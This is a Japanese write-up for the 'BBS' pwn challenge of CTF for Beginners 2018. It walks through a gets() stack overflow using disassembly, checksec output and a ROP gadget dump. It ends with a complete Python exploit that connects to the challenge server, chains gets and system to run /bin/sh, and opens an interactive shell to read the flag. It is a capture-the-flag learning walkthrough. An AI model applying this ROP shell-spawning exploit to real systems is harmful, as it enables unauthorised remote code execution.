CTF for Beginners 2018 のWrite up [BBS(Pwn)]

まずは動作確認から。

$ ./bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7 
Input Content : testes

==============================

2018年  6月 19日 火曜日 15:09:40 JST
testes

==============================

$

文字列を入力できて、入力すると点線とdateと入力した値が出力される。
続いてmain関数のアセンブリを見てみる。

00000000004006a1 <main>:
  4006a1:       55                      push   %rbp
  4006a2:       48 89 e5                mov    %rsp,%rbp
  4006a5:       48 83 c4 80             add    $0xffffffffffffff80,%rsp
  4006a9:       bf 88 07 40 00          mov    $0x400788,%edi
  4006ae:       b8 00 00 00 00          mov    $0x0,%eax
  4006b3:       e8 98 fe ff ff          callq  400550 <printf@plt>
  4006b8:       48 8d 45 80             lea    -0x80(%rbp),%rax
  4006bc:       48 89 c7                mov    %rax,%rdi
  4006bf:       b8 00 00 00 00          mov    $0x0,%eax
  4006c4:       e8 a7 fe ff ff          callq  400570 <gets@plt>
  4006c9:       bf a0 07 40 00          mov    $0x4007a0,%edi
  4006ce:       e8 4d fe ff ff          callq  400520 <puts@plt>
  4006d3:       bf c1 07 40 00          mov    $0x4007c1,%edi
  4006d8:       e8 63 fe ff ff          callq  400540 <system@plt>
  4006dd:       48 8d 45 80             lea    -0x80(%rbp),%rax
  4006e1:       48 89 c6                mov    %rax,%rsi
  4006e4:       bf c8 07 40 00          mov    $0x4007c8,%edi
  4006e9:       b8 00 00 00 00          mov    $0x0,%eax
  4006ee:       e8 5d fe ff ff          callq  400550 <printf@plt>
  4006f3:       b8 00 00 00 00          mov    $0x0,%eax
  4006f8:       c9                      leaveq 
  4006f9:       c3                      retq   
  4006fa:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)

pltにはprintf、gets、puts、system関数があることがわかります。
またバッファは0x80、つまり128byte確保されておりrbpの8byteも含めてOffsetは136byteです。

次に一応働いているセキュリティをgdb-pedaで調べます。
checksecコマンドを打つと、

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXがENABLEDになっています。NXはスタック上のコードが実行不可能になる機能ですが今回の場合、スタック上には「命令のアドレス」を書いているだけなので問題ないです。
以上を踏まえて、流れとしては
1. Offsetの136byteを'a'などで埋める。
2. rdiをPOPして、rdiにアドレスが固定で書き込み権限がある.bssの先頭アドレスを入れる。
3. gets関数を呼び出してgets(bss_addr)を実行し入力を待つ。
4. .bssに("bin/sh")を入力してsystem("bin/sh")を実行させる

というようになっています。

$gdb-pedaでdumpropでROPガジェットを探します。

gdb-peda$ dumprop 
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7-rop.txt ...
0x40074f: ret
0x40065a: repz ret
0x4006f8: leave; ret
0x4005f0: pop rbp; ret
0x400763: pop rdi; ret
0x400762: pop r15; ret
0x4006f7: add cl,cl; ret
0x40076f: add bl,dh; ret
0x4004fe: add esp,0x8; ret
0x4004fd: add rsp,0x8; ret
0x400659: add ebx,esi; ret
0x40069e: nop; pop rbp; ret
0x40074c: fmul [rax-0x7d]; ret
0x400761: pop rsi; pop r15; ret
0x400760: pop r14; pop r15; ret
0x400658: add [rcx],al; repz ret
0x40076e: add [rax],al; repz ret
0x400635: nop [rax]; pop rbp; ret
0x4006f3: mov eax,0x0; leave; ret
0x4006f6: add [rax],al; leave; ret
0x4005ee: add [rax],al; pop rbp; ret
0x4006f5: add [rax],al; add cl,cl; ret
0x40076d: add [rax],al; add bl,dh; ret
0x400768: nop [rax+rax*1+0x0]; repz ret
0x400775: sub esp,0x8; add rsp,0x8; ret

次に.bssの先頭アドレスを探します。これはobjdump -h か gdb-pedaのinfo filesで見ます。

gdb-peda$ info files 
Symbols from "/home/r30n/workspace/ctf/ctf_4b_2018/bbs/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7".
Local exec file:
        `/home/r30n/workspace/ctf/ctf_4b_2018/bbs/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7', file type elf64-x86-64.
        Entry point: 0x400590
        0x0000000000400238 - 0x0000000000400254 is .interp
        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
        0x0000000000400298 - 0x00000000004002bc is .gnu.hash
        0x00000000004002c0 - 0x0000000000400398 is .dynsym
        0x0000000000400398 - 0x00000000004003f6 is .dynstr
        0x00000000004003f6 - 0x0000000000400408 is .gnu.version
        0x0000000000400408 - 0x0000000000400428 is .gnu.version_r
        0x0000000000400428 - 0x0000000000400458 is .rela.dyn
        0x0000000000400458 - 0x00000000004004e8 is .rela.plt
        0x00000000004004e8 - 0x0000000000400502 is .init
        0x0000000000400510 - 0x0000000000400580 is .plt
        0x0000000000400580 - 0x0000000000400588 is .plt.got
        0x0000000000400590 - 0x0000000000400772 is .text
        0x0000000000400774 - 0x000000000040077d is .fini
        0x0000000000400780 - 0x00000000004007ec is .rodata
        0x00000000004007ec - 0x0000000000400828 is .eh_frame_hdr
        0x0000000000400828 - 0x000000000040093c is .eh_frame
        0x0000000000600e08 - 0x0000000000600e18 is .init_array
        0x0000000000600e18 - 0x0000000000600e20 is .fini_array
        0x0000000000600e20 - 0x0000000000600e28 is .jcr
        0x0000000000600e28 - 0x0000000000600ff8 is .dynamic
        0x0000000000600ff8 - 0x0000000000601000 is .got
        0x0000000000601000 - 0x0000000000601048 is .got.plt
        0x0000000000601048 - 0x0000000000601058 is .data
        0x0000000000601058 - 0x0000000000601068 is .bss

必要なアドレスが揃ったのでプログラムを書きます。

# -*- coding: utf-8 -*-

import socket, struct, telnetlib


def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)


def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
      data += f.read(1)
    return data


def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
def p64(a): return struct.pack("<Q",a)
def u64(a): return struct.unpack("<Q",a)[0]


s, f = sock("pwn1.chall.beginners.seccon.jp", 18373)

buf = ''
buf += 'A' * 0x88
buf += p64(0x400763) # pop rdi; ret; addr
buf += p64(0x601058) # buffer_addr (bss)
buf += p64(0x400570) # gets addr
buf += p64(0x400763) # pop rdi; ret; addr
buf += p64(0x601058) # buffer_addr
buf += p64(0x400540) # system addr
f.write(buf + '\n')

buf = '/bin/sh'
f.write(buf + '\n')

shell(s)

プログラムを実行してlsコマンドを打つとflag.txtが見つかりcatで中身を見るとフラグをゲット出来ます。